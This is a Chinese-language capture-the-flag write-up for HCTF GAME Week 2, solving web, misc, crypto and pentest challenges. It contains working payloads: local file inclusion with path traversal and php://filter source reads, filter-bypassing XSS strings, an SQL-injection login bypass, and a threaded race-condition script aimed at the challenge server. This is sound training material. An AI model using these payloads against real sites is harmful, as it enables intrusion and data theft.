HCTF GAME - Week 2

Posted by JHSN on January 30, 2017

Web 1 从0开始LFI之0

LFI是指PHP的文件包含漏洞
这道题查看网页源码会发现src="show.php?file=1.jpg",由此可知突破口,由题目提示可得只需访问http://119.29.138.57:12000/show.php?file=../flag.php
hctf{Inc1ude_i5_s0_d4ngerous}

Web 2 从0开始LFI之1

这道题查看源码发现同样是show.php
中途试出来一个show.php?file=../flag.php,显示了一个假flag,但HTML中有一句注释<!-- hhh,maybe it is in Comments.Have a try! -->,一开始没什么反应,后来得知可以利用 PHP 协议
这里可以用php://filter/read=convert.base64-encode/resource=../flag.php来获取 php 源码

hctf{flag_i5_n0t_here}
<!-- hhh,maybe it is in Comments.Have a try! -->
<?php
// f1ag_is_heeeeeeere/flag.html
?>

再访问一下http://119.29.138.57:12001/f1ag_is_heeeeeeere/flag.html,就能发现在HTML的Comment里有flag。
hctf{Do_y0u_kn0w_php_fi1ter?}

Web 3 Explorer的图包

这道题本来啥都不会,后来给了个提示“网站总有一些页面不希望网络爬虫获得”,即叫你去看看 robots.txt(本来我看过网站根目录下的 robots.txt,然而呢,这东西在题目的目录下,也是比较醉人的

User-agent: *
Disallow: /
Disallow: /fl1l11l1ag.php

所以就是要找到?f=../fl1l11l1ag.php,按套路尝试一遍,就能发现是过滤了某些东西 在 header 里能找到一条Content-disposition:attachment; filename=过滤后的文件名称curl -i多尝试尝试能发现 “../” 被过滤了,所以只要双写一下:?f=....//fl1l11l1ag.php(当然我是发现不了的,官方wp看看,美滋滋
最后放一下官方发的源码

<?php

if(!empty($_GET['f'])){
	$filename = str_replace('../', '', $_GET['f']);

	if(substr($filename, 0, 1) === '/') exit(0);

	header('Content-disposition: attachment; filename='.basename($filename));
	$filename = './images/'.$filename;
	
	readfile($filename);
}

?>

do you want explorer's gallery?

<a href="./index.php?f=explorer.jpg" >click me</a>

hctf{o0ok_m4yb3_it_iz2e33e}

Web 4 从0开始之XSS challenge0

function charge(input) {
    var stripTagsRE = /script/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

题目过滤了”script”,所以双写一下就好了:<scrscriptipt>alert(1);</scrscriptipt>
hctf{xss_f1rst_st3p}

Web 5 从0开始之XSS challenge1

function charge(input) {
        input = input.replace(/script/gi, '_');
        input = input.replace(/img/gi, '_');
        input = input.replace(/\>/gi,'_');
        input = input.replace(/\(/gi, '_');
        return '<input value="' + input + '" type="text">';
}

题目过滤了 “script”、”img”、”>”、”(“,说明需要对 input 本身进行 xss,通过 input 本身执行 JS 代码
通过对 “xss” 关键字的大量搜索,结合 HTML 实体编码找到了以下两种方式:
123" autofocus onfocus="alert&#40;1);
123" onerror="alert&#40;1)" src="#" type="image //此处有效是因为 input 只有第一个对于 type 的声明会有效
第二种能保证你本地打开注入好的网页时会有弹窗出现
hctf{d0_U_th1nk_xss_1s_1nterest1ng}

Web 6 从0开始之XSS challenge2

function charge(input) {
    input = input.replace(/\"/gi, '_');
    input = input.replace(/\//gi, '_');
    return '<svg><script>var input=\"' + input + '\";</script></svg>';
}

出题人说这道题出简单了。。确实,看到自己搞出来的东西也觉得还不如上一题难。。 &#34;;alert(1);&#34;
hctf{g00000d_svg_1s_not_hard}

MISC 1 我是一个有格调的misc题目

这个格调很奇葩,我用 Wireshark 打开了流量包,加了个过滤tcp contains "hctf",然后就没了
其实呢,你尽管用记事本之类的搜 hctf,搜不到算我输
hctf{wh4t_d0_y0u_w4nt??}

MISC 2 explore的奇怪番外2

题目要求你给一个SHA256前六位为xxxxxx且长度为100的字符串,xxxxxx每次都是随机的
先生成一个 SHA256 的表(这里的 40w 可以自己调节

import hashlib
import random
import string
chars = string.ascii_letters + string.digits
def key_gen(KEY_LEN):
    keylist = [random.choice(chars) for i in range(0, KEY_LEN)]
    return ("".join(keylist))
res = ""
for i in range(0, 400000):
    s = key_gen(100)
    h = hashlib.sha256(s).hexdigest()[0:6]
    res += s + ":" + h + "\n"
    if i % 10000 == 0:
        print i,
open('table', 'a').write(res)

然后写一个 socket 去碰运气,概率约为 400000 / 16 ^ 6 ≈ 0.0238,期望约为试 42 次,当然你的table可以更大,使得期望次数更小

import socket
import time
HOST = '121.42.25.113'
PORT = 20001
f = open('table', 'r')
table = f.read()
tot = 0
while 1:
    tot += 1
    s = socket.socket()
    s.connect((HOST, PORT))
    time.sleep(0.5)
    data = s.recv(1000)
    search = ':' + ''.join(data[-9:-1].split(' '))
    print tot, search,
    k = table.find(search)
    if k == -1:
        print 'failed'
    else:
        s.send(table[k - 100 : k])
        data = s.recv(1000)
        print data
        print 'success'

hctf{Pr0Of_yOu_work!!}

Crypto 1 密码学教室进阶(五)

factordb.com 里一丢,分解完成,得其中一个因子0x3748d6b
然后需要一点逆元的知识,用扩展欧几里得算法求出d,然后就结束了

def ex_gcd(a, b):
    if b == 0:
        return a, 1, 0
    else:
        g, x, y = ex_gcd(b, a % b)
        return g, y, x - a / b * y

n = 0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9fL
e = 0xe438fddb77f9bc2cf97185041e8a5ce8d0853cbfb657b940505870f0d3dfc0b723c5f7c8c9b940769f358397e275d00cce1cf760f9892a4b83ff90cbe513c6cc450258d02bcee33e499fb028c2b0d811bba22ef0c4fea314018d4943451ecdeb5d6e98bd5ed71ab7862a747f851c532aeae6c29f52c3f9be649a4142810ddb83015386fd035fcdc28059236135a9cce24fd650062067dcf43f5dcf24e15f132e9dca4ff68cc7637139dbdba276157f11e8af118d8dfae3f811a0377ba37555f9L
c = 0xbe864c22e69bd872541b7538b3c9797cf76afa2b2cac70c5a1a47fb6b6046daf345946d6e0eb299d12a7485ad9edaced28ef0b3169a22d1cba69c1e556ed2a69b6eca7e030f8cf61616faff4e063caf1a0668d4357594e7ff8887f00f61df5161e94f2197abcc2d34db666a34fa9e0f108c7937dc09b8e091ba2a4180f88f1b58229891bd619025f2c13f5758d7f4f6ac8f4d3f565449a730fef9ecee37f5409b801b554a30cfb42f69afc734b7709c5df6618e94e96b5d24a4b63cd1907296ae9bbd36084bad58c5e5cb3d275c953efc73aff595f36d92e182d6705fee14dabd29df53735132249d5935f8e780210359d67ab80ac2dfa29a88a5f585cbda8bbL
p = 0x3748d6b
q = n // p
finen = (p - 1) * (q - 1)
gcd, d, k = ex_gcd(e, finen)
ans = hex(pow(c, d, n))
print ans[2 : len(ans) - 1].decode('hex')

hgame{1f_u_kn0w_p_q_1n_RSA_1t_is_easy___}

Crypto 2 密码学教室进阶(六)

m: jchfecncvxogmtgqtqlqamqutqsgnniw
key: 5 17 4 15 -> frep (其实我也不知道顺序,试出来的
然后找了个 在线decoder decrypt一下
hgame{haohaoxuexiandainihuiqiuniyuanma}

Crypto 3 进击的 Crypto [0]

经长者提示得知:这是共享素数,遇到这种题,需要把这些数字互相 gcd 一下。我呵呵一笑,gcd 了一下得到了因子,详细步骤同 Crypto 1 hctf{I7_1s_d4nger0us_2_Sh4re_prim3}

Pentest 1 我是最简单的渗透题

万能密码,做不出的话,可以考虑一下退出 CTF
hgame{sqli_____very_interesting_233333}

Pentest 2 ez game

界面就是曾经做过的 HCTF2016 的香港记者题,需要你快速注册并登陆,要多快呢?不那么慢的网速 + 异步!直接拿以前写的垃圾东西跑了一下

#!/usr/bin/python
# coding=utf-8
import urllib
import urllib2
import threading
regin = "http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/register.php"
login = "http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/login.php"
def reg(ind):
    data = {'gogogo': '苟!'}
    data['username'] = 'datadata%d' % (ind);
    data['password'] = 'dadadddsfsdf';
    req = urllib2.Request(regin)
    data = urllib.urlencode(data)
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
    response = opener.open(req, data)
    print response.read()

def log(ind):
    data = {'gogogo': '苟!'}
    data['username'] = 'datadata%d' % (ind);
    data['password'] = 'dadadddsfsdf';
    req = urllib2.Request(login)
    data = urllib.urlencode(data)
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
    response = opener.open(req, data)
    print response.read()

ind = 9202342;
while 1:
    try:
        ind += 1
        t1 = threading.Thread(target=reg, args=(ind,))
        t2 = threading.Thread(target=log, args=(ind,))
        t1.start()
        t2.start()
        # 这里不用 join()
    except:
        print "Error: unable to start thread"

题目本意是备份泄露 + 条件竞争
详情请见 官方wp
hctf{mmp_you_yi_xie_wenti}





评论区加载中